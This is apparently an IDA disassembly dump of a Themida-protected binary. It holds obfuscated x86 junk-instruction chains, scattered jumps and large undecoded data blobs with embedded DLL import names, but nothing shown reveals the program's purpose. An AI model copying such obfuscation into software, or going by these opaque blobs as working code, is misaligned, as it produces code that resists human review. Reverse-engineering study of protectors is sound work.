jmp loc_5598AB
; ---------------------------------------------------------------------------
a2Cvw db '╧2',1Bh,'}cVW©╟',8,0
db 1
dd 0FF2E11E9h, 4C481FFh, 8F000000h, 248B2404h, 24D36624h
dd 0E99C24h, 68FFFEB5h, 7D53h, 50241C89h, 0FFB35EE9h, 2CEE2CFFh
dd 2434FFA0h, 8B2434FFh, 0C4832414h, 4C48304h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
jmp loc_5682D3
; ---------------------------------------------------------------------------
loc_5676ED: ; CODE XREF: Themida_:005602FEj
mov [esp], esi
mov esi, 3E0F07EBh
inc esi
not esi
inc esi
neg esi
sub esi, 1681D218h
sub eax, esi
pop esi
add eax, ecx
push ebx
push esi
push 0DEE2E19h
pop esi
add esi, 74465B27h
sub esi, 10C03DA6h
mov ebx, esi
pop esi
not ebx
add ebx, 9901816Fh
sub eax, 66636A4Dh
jmp loc_553AFC
; ---------------------------------------------------------------------------
byte_56772F db 66h ; DATA XREF: Themida_:005528ECo
dd 68240C8Bh, 1C8Fh, 54243489h, 4C6815Eh, 83000000h, 0EC8104EEh
dd 4, 0FF243489h, 0E9042474h, 0FFFF61A2h
; ---------------------------------------------------------------------------
loc_567758: ; CODE XREF: Themida_:005592DBj
add esp, 4
push 8F4h
mov [esp], eax
push 0C4Eh
mov [esp], esp
jmp loc_55D75A
; ---------------------------------------------------------------------------
dd 8904EC83h, 84B82404h, 0E910CC38h, 0FFFF8123h, 2EE9D089h
dd 1FFFEC8h, 24148BD3h, 4C481h, 0C3810000h, 5433016Fh
dd 7E08C381h, 0C3013C7Dh, 0FEE1BBE9h, 4C181FFh, 83000000h
dd 0C8704C1h, 24248B24h, 15468h, 241C8900h, 0E904EC83h
dd 0FFFF0EE8h, 0C3815B54h, 4, 0FFBEABE9h, 240C8BFFh, 81E28952h
dd 4C2h, 0A4DAE900h, 0BE56FFFFh, 221618E0h, 0FFC3C5E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5677ED: ; CODE XREF: Themida_:00559D2Bj
not eax
xchg eax, ebp
xchg ebp, [esp]
pop edi
jmp loc_552DA7
; ---------------------------------------------------------------------------
db 81h, 0C4h, 4
dd 51000000h, 4B9h, 4945E900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56780A: ; CODE XREF: Themida_:00557AEAj
mov [esp], ebx
jmp loc_564610
; ---------------------------------------------------------------------------
dw 8159h
dd 720560C5h, 0AEE58119h, 814C2959h, 5B619AF5h, 0E9EB2979h
dd 0FFFFD521h, 2719E381h, 0EBE9340Fh
db 0F2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_567837: ; CODE XREF: Themida_:0056372Dj
sub esp, 4
mov [esp], eax
push edi
jmp loc_560499
; ---------------------------------------------------------------------------
dw 3489h
dd 3F0EBE24h, 0EEC13ED6h, 4EEC103h, 0FEF6C2E9h, 24048BFFh
dd 4C481h, 21E90000h, 0FFFFFF1Bh, 54E92434h, 0FFFFFEC9h
dd 34818734h, 486C9024h, 24048B1Bh, 5E08950h, 4, 42Dh
dd 24048700h, 0E924248Bh, 0FFFF7811h, 81FE0159h, 7E420DEEh
dd 243C8B75h, 4C481h, 0B8500000h, 2, 0E1E9C601h, 53FFFEFEh
dd 4F1950BBh, 0F0F38172h, 31066E61h, 0E038E9D9h
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_5678C6: ; CODE XREF: Themida_:00559048j
push 3231h
jmp loc_55891C
; ---------------------------------------------------------------------------
aI@ db '┴<$©@',0
align 4
dd 81E28952h, 4C2h, 4EA8300h, 31241433h, 14332414h, 24248B24h
dd 0FEE1A5E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5678F5: ; CODE XREF: Themida_:00565CBFj
push esi
mov esi, 1A500949h
jmp loc_5679F3
; ---------------------------------------------------------------------------
dword_567900 dd 286866ACh, 0C896675h, 52E95024h ; DATA XREF: Themida_:00552940o
db 6Eh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56790F: ; CODE XREF: Themida_:0055388Cj
xchg eax, [esp]
pop esp
add eax, 1C875EC8h
sub eax, edx
jmp loc_555153
; ---------------------------------------------------------------------------
db 0B8h
dd 0DF930E7h, 14F1E950h, 0F281FFFFh, 3CB956CDh, 0ADD6F281h
dd 0D501F11Ah, 4ED835Ah, 5C242C87h, 56240489h, 0FEC591E9h
dd 59CA88FFh, 8024C280h, 0EA8030EAh, 80DAF6E1h, 5266CEF2h
dd 662414F6h, 1BE2805Ah, 0E527E950h, 38BDFFFEh, 0E9360267h
dd 537h, 2A4F68h, 24248900h, 4240483h, 4C2815Ah, 83000000h
dd 148704C2h, 525A5C24h, 0FFCA76E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_567995: ; CODE XREF: Themida_:00559E6Fj
add ecx, 4
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
jmp loc_56765D
; ---------------------------------------------------------------------------
dw 895Ch
dd 0CE9240Ch, 52FFFEB2h, 0FEB2F8E9h, 241C87FFh, 0F9E9D3F7h
dd 31FFFFF2h, 0BE565AD6h, 3BC07166h, 0E903EEC1h, 0FFFEF0FDh
dd 7A7DBA52h, 87E97CE9h
db 0C2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5679DB: ; CODE XREF: Themida_:00562835j
pop esp
push esp
pop dword ptr [esp]
push eax
mov eax, 4
sub dword ptr [esp+4], 3A23A7Ch
jmp loc_55E649
; ---------------------------------------------------------------------------
loc_5679F3: ; CODE XREF: Themida_:005678FBj
sub ecx, esi
mov esi, [esp]
add esp, 4
inc ecx
push ebx
mov ebx, 795742D4h
and ebx, 615728B8h
inc ebx
xor ebx, 8A2FDE49h
add ecx, ebx
pop ebx
add edi, ecx
pop ecx
push 1252h
mov [esp], ebx
mov ebx, 4
jmp loc_55E0DC
; ---------------------------------------------------------------------------
loc_567A2A: ; CODE XREF: Themida_:005634D7j
push dword ptr [esp]
mov esi, [esp]
add esp, 4
add esp, 4
or eax, eax
jmp loc_55DA33
; ---------------------------------------------------------------------------
dd 8124048Bh, 4C4h, 24048F00h, 8324248Bh, 0BE5604C4h, 4
dd 835EF701h, 3C8704C7h, 24248B24h, 0E9240431h, 0FFFEB14Fh
; ---------------------------------------------------------------------------
loc_567A6C: ; CODE XREF: Themida_:00561206j
mov [esp], eax
jmp loc_558AB1
; ---------------------------------------------------------------------------
dd 6721BB53h, 8E92BDDh, 66FFFF74h, 10E9EE01h
db 96h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_567A87: ; CODE XREF: Themida_:0055DE94j
push dword ptr [edi+eax*4]
push 50Eh
mov [esp], esi
sub esp, 4
jmp loc_5537F8
; ---------------------------------------------------------------------------
dw 1CE9h
dd 31FFFEB1h, 0E5A7E9D6h, 0F501FFFEh, 8124348Bh, 4C4h
dd 2C99E900h, 0EC80FFFFh, 0BDCC80FFh, 0C04AEC80h, 57E904E4h
dd 81FFFF24h, 4C4h, 4C68300h, 0FF56CBE9h, 535A54FFh, 4BBh
dd 5BDA0100h, 12786857h, 3C8B47BEh, 0E7895724h, 0FFF506E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_567AF1: ; CODE XREF: Themida_:0055D272j
add edi, 4
jmp loc_55EABD
; ---------------------------------------------------------------------------
db 0D1h, 0EEh, 81h
dd 0AC3738F6h, 73C68146h, 56F646C4h, 13242C81h, 0E907C47Ch
dd 0FFFF0791h
; ---------------------------------------------------------------------------
loc_567B14: ; CODE XREF: Themida_:0055841Ej
add ebx, eax
pop eax
jmp loc_5574AB
; ---------------------------------------------------------------------------
dd 1C8BD829h, 4C48324h, 5722E956h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_567B2A: ; CODE XREF: Themida_:0055A737j
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], edx
jmp loc_55FF87
; ---------------------------------------------------------------------------
loc_567B42: ; CODE XREF: Themida_:00562D1Dj
add edx, 4
add edx, 4
push edx
push dword ptr [esp+4]
pop edx
jmp loc_562CC1
; ---------------------------------------------------------------------------
byte_567B59 db 0FFh, 34h, 24h ; DATA XREF: Themida_:00552990o
dd 63E95258h, 5FFFFF7Eh, 0FF6F2DE9h, 0B04DE9FFh
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_567B6E: ; CODE XREF: Themida_:0055D927j
add ebx, 1CFACA3Bh
mov ecx, ebx
push dword ptr [esp]
pop ebx
add esp, 4
add eax, 5A90589Ah
sub eax, ecx
sub eax, 5A90589Ah
mov ecx, [esp]
add esp, 4
push ebp
push 6C33h
mov [esp], edx
jmp loc_565DFA
; ---------------------------------------------------------------------------
db 81h
dd 4C4h, 6A726800h, 44E90000h, 0BEFFFF54h, 21785616h, 3FAF68h
dd 243C8900h, 0C03372BFh, 8E7C167h, 2BB4F781h, 0FE09A406h
dd 0FF2434FFh, 835F2434h, 895204C4h, 36B9E9E2h, 0D829FFFFh
dd 5E2968h, 241C8900h, 0FD677FBBh, 5DE94B66h, 81FFFF22h
dd 0C5C4E1F5h, 42B95139h, 6874A869h, 406h, 0B8240489h
dd 5DF55CDDh, 0C158C121h, 0D9F707E1h, 8107E9C1h, 0C8B898F1h
dd 59C8017Fh, 582DE801h, 0E97E970Fh, 0FFFFFC37h, 4BA525Bh
dd 0E9000000h, 0FFFF6ACDh
; ---------------------------------------------------------------------------
loc_567C3C: ; CODE XREF: Themida_:00553489j
sub ecx, 4636136Fh
sub ecx, 57011366h
jmp loc_55E163
; ---------------------------------------------------------------------------
db 81h, 0C4h, 4
dd 0E9000000h, 0FFFFDC7Dh, 1E1C281h, 0C581FFF1h, 711E7649h
dd 0ED81D529h, 711E7649h, 242C875Ah, 7D87E95Ch, 1489FFFFh
dd 8119E924h, 335AFFFFh, 3C31243Ch, 243C3324h, 3324248Bh
dd 3C31243Ch, 243C3324h, 1722E95Ch, 348BFFFFh, 4C48324h
dd 6824048Fh, 49D8h, 68243C89h, 4, 2444815Fh, 4A72FF04h
dd 247C0167h, 0E85FE904h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_567CC2: ; CODE XREF: Themida_:0055F3CEj
mov [esp], eax
push esp
pop eax
push edi
mov edi, 47F601D4h
neg edi
neg edi
push ebp
jmp loc_55CC25
; ---------------------------------------------------------------------------
db 89h
dd 74FF240Ch, 0C8B0424h, 4C48324h, 0FEAF8AE9h, 0E9E089FFh
dd 0FFFFF89Fh, 91E9F101h, 5AFFFF89h, 4C281h, 0C2830000h
dd 24143304h, 0E9241431h, 0FFFF469Eh
; ---------------------------------------------------------------------------
loc_567D0C: ; CODE XREF: Themida_:005587D0j
or edx, 6C125DBBh
jmp loc_562714
; ---------------------------------------------------------------------------
loc_567D17: ; CODE XREF: Themida_:005636B0j
mov [esp], edx
push 30B0h
mov [esp], eax
push 428Eh
mov [esp], ecx
jmp loc_55FBA5
; ---------------------------------------------------------------------------
loc_567D2F: ; CODE XREF: Themida_:005664EEj
mov esi, 3BEF1D3Bh
sub esi, 87B79EBAh
jmp loc_55F668
; ---------------------------------------------------------------------------
db 89h
dd 0F3015BDEh, 8324348Bh, 0E95704C4h, 0FFFF2776h
; ---------------------------------------------------------------------------
loc_567D50: ; CODE XREF: Themida_:005668E7j
mov ebx, 2F2546FEh
not ebx
push ecx
push ebx
mov ebx, 64DD0D6Eh
mov ecx, 17CE6D95h
sub ecx, 0D761BC9h
add ecx, ebx
add ecx, 0D761BC9h
jmp loc_55B14D
; ---------------------------------------------------------------------------
dw 0EE81h
dd 5C64C5C4h, 0CE9F121h, 49FFFFD5h, 8904EC83h, 0AABE2434h
dd 0E96B0942h, 0FFFFFFE2h
; ---------------------------------------------------------------------------
loc_567D94: ; CODE XREF: Themida_:0055496Dj
push 4BBBh
mov [esp], edx
jmp loc_562C80
; ---------------------------------------------------------------------------
loc_567DA1: ; CODE XREF: Themida_:0056729Aj
add esi, 4
xchg esi, [esp]
pop esp
shr eax, 4
shr eax, 4
push edi
push 15377Fh
pop edi
xor eax, edi
mov edi, [esp]
push ecx
jmp loc_55C534
; ---------------------------------------------------------------------------
dd 0B041F681h, 0F7296602h, 13E9535Eh, 81FFFFCCh, 4C4h
dd 243C8700h, 0E924248Bh, 0FFFEADDBh
; ---------------------------------------------------------------------------
loc_567DE0: ; CODE XREF: Themida_:00563E0Dj
add esp, 4
jmp loc_564768
; ---------------------------------------------------------------------------
db 52h
dd 0F82CEEB2h, 0F804D000h, 8094E95Ah, 0EB01FFFFh, 0FFEF83E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_567E01: ; CODE XREF: Themida_:0055FA3Cj
push edx
mov dh, 50h
or dh, 0E1h
sub dh, 0Fh
push ecx
mov cl, dh
push ebx
mov bl, cl
jmp loc_563EFA
; ---------------------------------------------------------------------------
db 0FFh, 34h, 24h
dd 0FEB71EE9h, 0ECBE56FFh, 0E97F7C2Ch, 0FFFFCF61h, 0E9D0295Bh
dd 0FFFEDAF9h, 89243489h, 0DFE950E6h, 81FFFF59h, 73F82DE9h
dd 0E3D4E9D5h, 489FFFFh, 0EC4EE924h, 0E95BFFFFh, 0FFFFF250h
dd 0F7665866h, 7364E9D8h, 5259FFFFh, 0FEF10AE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_567E65: ; CODE XREF: Themida_:00565FE4j
push edx
jmp loc_55949C
; ---------------------------------------------------------------------------
db 81h
dd 104952F6h, 0D905E951h, 282CFFFFh, 5358C588h, 0DC007EB3h
dd 0E2DEE95Bh, 0D400FFFEh, 0F4805A66h, 8E4C053h, 0DD15E953h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_567E96: ; CODE XREF: Themida_:005562DBj
sub [eax], edi
jmp loc_563D44
; ---------------------------------------------------------------------------
loc_567E9D: ; CODE XREF: Themida_:0055D128j
add bl, 7Ch
add bl, 20h
sub bl, 53h
jmp loc_55468B
; ---------------------------------------------------------------------------
db 81h
dd 0C71506C5h, 3324E909h, 0FA01FFFFh, 24048B5Fh, 0E904C483h
dd 0FFFFA945h, 0B5511CB3h, 2C2FB0E1h, 0E9E8286Ch, 0FFFFB2DDh
; ---------------------------------------------------------------------------
loc_567ED4: ; CODE XREF: Themida_:00562297j
mov [esp], esi
push dword ptr [esp+4]
mov esi, [esp]
add esp, 4
jmp loc_563B6A
; ---------------------------------------------------------------------------
loc_567EE6: ; CODE XREF: Themida_:00556E94j
pop esi
mov esi, 0FB082B44h
add esi, edi
pop edi
shr esi, 7
push edi
mov edi, 2AF20B65h
jmp loc_5680E4
; ---------------------------------------------------------------------------
db 8Bh, 14h, 24h
dd 0E904EC83h, 0FFFFB247h, 1496E981h, 0E95D493Ch, 0FFFF618Ch
dd 89240489h, 405E0h, 4050000h, 87000000h, 248B2404h, 5DEA0124h
dd 0EA81FA01h, 4524346Fh, 4EC81h, 1C890000h, 705FBB24h
dd 0E3810477h, 73A65C2h, 0FF0163E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_567F4D: ; CODE XREF: Themida_:005653C6j
pop eax
and bh, 85h
add bh, 12h
push ecx
mov cl, 4Bh
shl cl, 2
and cl, 0EAh
inc cl
shr cl, 3
sub cl, 88h
xor bh, cl
pop ecx
and bh, 5
push eax
mov ah, 80h
and ah, 51h
not ah
jmp loc_556401
; ---------------------------------------------------------------------------
dd 4C481h, 89510000h, 4C181E1h, 83000000h, 0C3304E9h, 5F85E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_567F92: ; CODE XREF: Themida_:0055911Aj
shr eax, 0Ch
xor eax, ecx
push ecx
mov ecx, esp
jmp loc_553F2E
; ---------------------------------------------------------------------------
db 29h
dd 0A8C381F3h, 5E02026Ah, 515EC381h, 0F3291553h, 515EEB81h
dd 89571553h, 4C781E7h, 52000000h, 0FEEC6FE9h, 1BBEBEFFh
dd 0F0292BA1h, 89B0E95Eh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_567FD2: ; CODE XREF: Themida_:005665A1j
push ebp
mov ebp, 20000h
mov edi, ebp
pop ebp
and eax, edi
push dword ptr [esp]
push dword ptr [esp]
push dword ptr [esp]
pop edi
push edi
mov edi, esp
jmp loc_5597A7
; ---------------------------------------------------------------------------
db 8Bh
dd 9FE92404h, 89FFFEF4h, 4BB241Ch, 29000000h, 0C875BD9h
dd 4745E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56800A: ; CODE XREF: Themida_:0055C346j
inc edi
xor edi, 23946402h
shr edi, 8
or edi, 58077CACh
add edi, 0AE3D29C3h
xor ebp, edi
jmp loc_55E494
; ---------------------------------------------------------------------------
db 28h
dd 0B6D5E9D1h, 6F68FFFEh, 0E9000063h, 0FFFF5C25h
; ---------------------------------------------------------------------------
loc_568038: ; CODE XREF: Themida_:005545E7j
xor ebx, 2BA02841h
add eax, ebx
pop ebx
push 4B6Ch
mov [esp], esi
jmp loc_562DE3
; ---------------------------------------------------------------------------
dw 5158h
dd 0FFE6EDE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_568055: ; CODE XREF: Themida_:00564D3Ej
push ebx
push esp
jmp loc_55F693
; ---------------------------------------------------------------------------
dd 8904EC83h, 95BE2434h, 6801E11Dh, 0
dd 5E243429h, 4A51BD55h, 10E92508h, 8BFFFEBDh, 0C4832414h
dd 24048F04h, 6624248Bh, 5024048Bh, 81E28952h, 4C2h, 4EA8300h
dd 31241433h, 0CAE92414h, 49FFFF0Ah, 5301E983h, 0D472D2BBh
dd 0BFC1816Ah, 0E90D866Ah, 0FFFF06BFh
; ---------------------------------------------------------------------------
loc_5680B8: ; CODE XREF: Themida_:00557227j
sub al, 0A1h
sub al, 8Dh
jmp loc_557B67
; ---------------------------------------------------------------------------
byte_5680C1 db 66h, 8Bh, 4 ; DATA XREF: Themida_:00552AD4o
dd 28FE6824h, 5E90000h
db 8, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5680CF: ; CODE XREF: Themida_:00558004j
mov ebx, [esp]
add esp, 4
not dword ptr [edi+20h]
inc dword ptr [edi+20h]
shr dword ptr [edi+20h], 8
jmp loc_565E3E
; ---------------------------------------------------------------------------
loc_5680E4: ; CODE XREF: Themida_:00567EF8j
push edi
not dword ptr [esp]
jmp loc_567496
; ---------------------------------------------------------------------------
loc_5680ED: ; CODE XREF: Themida_:0055A65Dj
push ebp
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], esp
add dword ptr [esp], 4
mov ebp, [esp]
jmp loc_55D12D
; ---------------------------------------------------------------------------
loc_568110: ; CODE XREF: Themida_:00555DD0j
add esi, 751E527Bh
pop edx
jmp loc_563A2A
; ---------------------------------------------------------------------------
dd 4C481h, 1EE90000h
db 0B7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_568127: ; CODE XREF: Themida_:0056049Cj
add esp, 4
mov edi, [esp]
jmp loc_558FE7
; ---------------------------------------------------------------------------
db 81h, 0EFh, 0DEh
dd 0E95CE208h, 0FFFF0746h, 4C781h, 0EF810000h, 4, 5C243C87h
dd 83241C89h, 0C8904ECh, 4EC8324h, 68241C89h, 6C042CBFh
dd 0FEAB25E9h, 240C8BFFh, 4C481h, 0E9510000h, 0FFFF3872h
; ---------------------------------------------------------------------------
loc_568178: ; CODE XREF: Themida_:00552F95j
pop edx
pop dword ptr [esp]
pop esp
pop ecx
sub ecx, 169E2760h
push ebx
jmp loc_556723
; ---------------------------------------------------------------------------
dw 0C781h
dd 38233AFAh, 8147DFF7h, 2DA9EF7h, 31EF3199h, 0F7EF31FDh
dd 50EF87D5h, 0A650F1B8h, 58C7095Fh, 0FEBDB8E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5681B1: ; CODE XREF: Themida_:0056499Aj
mov edi, esi
pop esi
mov ebx, edi
jmp loc_55CA7D
; ---------------------------------------------------------------------------
db 52h
dd 0A64B9DBAh, 0FFD13139h, 815A2434h, 4C4h, 15F18100h
dd 0E91F5568h, 0FFFF752Ch, 0FEA9DEE9h, 4BF57FFh, 0E9000000h
dd 0FFFEDD10h, 1959BB53h, 0C38101ACh, 0FFFFFFFFh, 0FF1C7BE9h
dd 0E9C329FFh, 0FFFFD87Bh, 0C281F201h, 79002AF6h, 8324348Bh
dd 94E904ECh, 0FFFFD2h, 0F6E959E8h, 1FFFF30h, 97C381FBh
dd 0E9013766h, 0FFFF4257h
dword_568228 dd 240C8B66h, 68E68956h, 4ACAh, 50243C89h, 0FFAC07E9h
; DATA XREF: Themida_:00552A58o
dd 4C683FFh, 0FEC280E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_568245: ; CODE XREF: Themida_:00557BF0j
push esi
push ebp
mov ebp, 70251F65h
jmp loc_559442
; ---------------------------------------------------------------------------
aUS db '╩·:А',0
dw 0DA89h
dd 81241C8Bh, 4C4h, 0BCB95100h, 5225773Ch, 0A04C1BBAh
dd 0A6C1814Dh, 1196528h, 0A6E981D1h, 5A196528h, 8149D9F7h
dd 0FFC568C1h, 0E9CA09ECh, 0FFFFF545h
db 8Ah, 4, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push eax
jmp loc_555B3E
; ---------------------------------------------------------------------------
loc_568298: ; CODE XREF: Themida_:005667D1j
push esi
jmp loc_5593B2
; ---------------------------------------------------------------------------
loc_56829E: ; CODE XREF: Themida_:0055519Bj
xor ebx, 35FB5F3Fh
mov eax, ebx
pop ebx
inc eax
jmp loc_55DE40
; ---------------------------------------------------------------------------
db 5Ch, 89h, 34h
dd 0E6895624h, 4C681h, 56520000h, 4E5562BEh, 0E6814634h
dd 4E6130C7h, 1047F681h, 78E90440h
db 69h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5682D3: ; CODE XREF: Themida_:005676E8j
xchg ebp, [esp]
pop esp
jmp loc_5573BA
; ---------------------------------------------------------------------------
dd 14E8h, 47D85000h, 0DFBF8D11h, 37ACE145h, 8973291Bh
dd 9FB02FC0h, 0F18B6617h, 17C18159h, 0BF000064h, 18E4h
dd 0D6B70F57h, 80198B5Eh, 0F3818FEAh, 234B7A34h, 0E049BE66h
dd 4A1FF381h, 81F55DA4h, 184C7AC3h, 5053F578h, 97613B8h
dd 18F5A31h, 3890Fh, 8B660000h, 76E981C7h, 801DBB7Bh, 0C1818BCEh
dd 1DBB7B72h, 0BE8h, 2F9F3800h, 0FF405BD9h, 5C193340h
dd 81CA8B60h, 0A01818F6h, 4F5E6150h, 0FF9F850Fh, 0D68BFFFFh
dd 535536EBh, 32335245h, 6C6C642Eh, 56444100h, 33495041h
dd 6C642E32h, 544E006Ch, 2E4C4C44h, 6C6C64h, 807D7h, 70002h
dd 26000Fh, 31B0027h, 302691F8h, 8CCE9h, 9ED26800h, 0F1E90937h
dd 68FFFDE0h, 9379F49h, 0FDE0E7E9h, 0A09268FFh, 0DDE90937h
dd 68FFFDE0h, 937A1ECh, 0FDE0D3E9h, 0A26568FFh, 0C9E90937h
dd 68FFFDE0h, 937A3A8h, 0FDE0BFE9h, 0A41E68FFh, 0B5E90937h
dd 26FFFDE0h, 4A0E8F34h, 0FD1CAD7h, 60188510h, 0ACECFC8h
dd 1E158613h, 15849D6Dh, 3E5BD088h, 18859B5Dh, 7861FD83h
dd 43612D23h, 12FEA379h, 495B606Dh, 7DFEA0Fh, 552A19C7h
dd 880E1503h, 0D0F57C44h, 12E1F66Eh, 0E1B6328Eh, 5C97021Bh
dd 28B616D8h, 130114A2h, 88E41096h, 0B731FBBAh, 997144BCh
dd 0CA675935h, 10CDF7ADh, 27C94B47h, 0F8972DC9h, 0E644141Ah
dd 93364896h, 23D3386Eh, 0FB886B6Dh, 716E00A8h, 0A7914F7Fh
dd 9B3B28E2h, 2B47B915h, 0BD33A0BEh, 2EABC236h, 47AF41C3h
dd 9C0519A3h, 0FCE579FFh, 8ADFA4E8h, 907AF9BAh, 730h, 0B9E2C775h
dd 0EEAF2A47h, 0B3E8F56Ah, 0F7A4352Dh, 0ACF1E881h, 79F09AEFh
dd 0AEC53B60h, 70EE722Bh, 0AAC63A63h, 14B8702Dh, 0FEA3E4CEh
dd 10B3E012h, 43AE2B47h, 9935EDB8h, 1DF650Bh, 37971915h
dd 0B8AF8587h, 0F501368Ch, 0E47B8549h, 69871209h, 0E8753F65h
dd 6F7112FEh, 501B1587h, 85DB6AB4h, 0BBE00E47h, 43AE2B45h
dd 0A0445DD1h, 0F2D308A2h, 0B9CEB83Bh, 0FE000006h, 0B226775Ch
dd 77922BFh, 0A8306D68h, 27627B0h, 662D6E6Bh, 0DDFC7515h
dd 0B62338C0h, 0E0FD73E5h, 0B02945BBh, 5B8945EBh, 12FEA271h
dd 15933865h, 75F409B9h, 58BCDB4Bh, 359F408Ah, 0ADC2341Ch
dd 0D00EBE30h, 1C359FEAh, 0C23CB8DEh, 4EC231AEh, 0F709C5D2h
dd 15975A7Fh, 76EE62E1h, 6ECA2733h, 2EC08237h, 0C0D951C3h
dd 6B59CC31h, 615B4390h, 322CD2CFh, 2ACA4EA5h, 9FEEEFD5h
dd 0C88950D9h, 57h, 0AE2B4707h, 288939EDh, 39A057D6h, 0C9399929h
dd 0FD867068h, 0A52B5AF9h, 0A31C3641h, 4213B9E7h, 0E1071C36h
dd 1A879B15h, 871008B2h, 2F0CE86Ch, 814D0590h, 331D463h
dd 6C6E815h, 715D7AF4h, 5FD2D74Fh, 7348AC42h, 0FA7673EDh
dd 5C9216DDh, 5DEAD95h, 47DE0000h, 9C1EAE2Bh, 8F0A2384h
dd 0E30EE064h, 680E9561h, 41347E24h, 0AE301C36h, 30E8BB46h
dd 4713069Ch, 0BFE11503h, 99061ADEh, 814B5935h, 7513013Ch
dd 19A68373h, 0E8F6D68Eh, 0BCCDA8Bh, 2B5F6F71h, 0EF029F91h
dd 5520556Dh, 0F3BC9677h, 0A978903h, 5451CF91h, 0BE35BBDCh
dd 0E8BA618h, 0DFF874E6h, 9D56F107h, 5D45ECE9h, 570h, 792287B5h
dd 2E6F6A07h, 7328B5AAh, 376475EDh, 6C31A8C1h, 3930DAAFh
dd 0EE85FBA0h, 302EB2EBh, 0EA86FAA3h, 0D4F8B0EDh, 0FEA1A40Eh
dd 0D0F3A012h, 43AE2B47h, 0D3165DD1h, 788C062Fh, 3A8413AFh
dd 0E00E3581h, 0B746E30Eh, 0FCB808CDh, 0B35236Eh, 0FCB846AEh
dd 4C1C35ABh, 50934C84h, 87982289h, 0EB2BDA1Ah, 5CFFFFFEh
dd 43AE2B47h, 9935EDB8h, 363E40Bh, 0B6169815h, 0FDFCBE06h
dd 101CFCCDh, 8A3D85B0h, 0EEB0BEEh, 0CC8E6818h, 4F62EEB1h
dd 0FE0C473h, 5F976C22h, 0C509C1D4h, 0CE26901Fh, 0C2E0A40Bh
dd 1C3616F8h, 4CA73028h, 0FAF4FAC8h, 7A3128D2h, 0C6BABC67h
dd 51A54B77h, 5A7B42D2h, 0E73E1C35h, 4FE6D8FDh, 0D125A74Ah
dd 50E4DC31h, 1B78B89h, 493C0000h, 7DFEA0Fh, 0B03935C7h
dd 4FD120B9h, 0FBA955A1h, 15035548h, 0CC72AA2Ch, 0BCB747D1h
dd 27B2AF51h, 36D3F9A7h, 21C74B47h, 9F7742D5h, 4116712Fh
dd 0AC144414h, 0BC31F8D6h, 0FFB54155h, 3A8D1AD9h, 52126A62h
dd 2A3281EFh, 19F4BABh, 3B294237h, 616B7955h, 554B4741h
dd 41497331h, 9B3D4B47h, 0EDF3A155h, 5643DFE1h, 268C5276h
dd 224B4741h, 0DDA3787Ch, 6A8C5841h, 73BA8A31h, 41606F0h
dd 0F95B0000h, 2439BFDCh, 718E0BDh, 0E77F019Ah, 3E37A9F2h
dd 4039029Bh, 554653CAh, 900D88A3h, 544956C8h, 9607908Ch
dd 0FEC4DAB2h, 0FA12FEA0h, 0B915EAE9h, 47AA2F47h, 41951FC5h
dd 54CD1C36h, 982AAE45h, 4053DE16h, 0B09E4488h, 0CE1501DEh
dd 0AC765DEEh, 2DC9EB6Ch, 635D7177h, 15CBD0CDh, 0CF737E1Bh
dd 684E25EFh, 7D79ECF4h, 72726F03h, 0F2D2E71Ah, 9DF6E083h
dd 0E2000003h, 964A5370h, 0DB9DFE9Bh, 0BC445944h, 0F66A33A4h
dd 7A415A7Fh, 9908901h, 4257CC94h, 0C89A759h, 4C55C98Fh
dd 6F35594Fh, 12FE9F45h, 152F9441h, 5B6772EBh, 6ACEB397h
dd 0B527CF5Dh, 823D30B9h, 357F565Ch, 0A24C521Ch, 0D023CD4Fh
dd 0D58F522Ah, 38AA10CEh, 0F89E1C36h, 0D5E958C8h, 26B3AF21h
dd 801914A6h, 0BD50ED74h, 896F2D7h, 1C3598C2h, 935E7BF2h
dd 0C92DB311h, 359A7B3Bh, 0CD03CF1Ch, 9E8950A1h, 0FFFFFCF6h
dd 2BB915EDh, 1C3641A1h, 69E31395h, 7A05ECF5h, 3357772Fh
dd 14AFAF4Bh, 0F1737E1Bh, 6329DAD1h, 0DEC38F5Fh, 0E01405C3h
dd 2DB8352h, 26777915h, 0CC044985h, 25ACF2F4h, 0BAB35A42h
dd 9225D11Fh, 4B7F4F07h, 0D521B8B1h, 34BEC3Fh, 7FF60815h
dd 0DB15975Ah, 12119D43h, 7D48AAECh, 5B6529A5h, 901ED6C3h
dd 73E0DEF5h, 4752CBF5h, 16CC28ACh, 323CFF62h, 27C96B78h
dd 4CE5D7A7h, 492FC438h, 408026ADh, 2F8C9661h, 0E57084B3h
dd 0CD2FAD2h, 6CEC0F22h, 0DA526C20h, 0EE9D27BDh, 17997B13h
dd 1FAF31DFh, 3428819Dh, 0A05845ABh, 6FD3138Ch, 2E8ABD87h
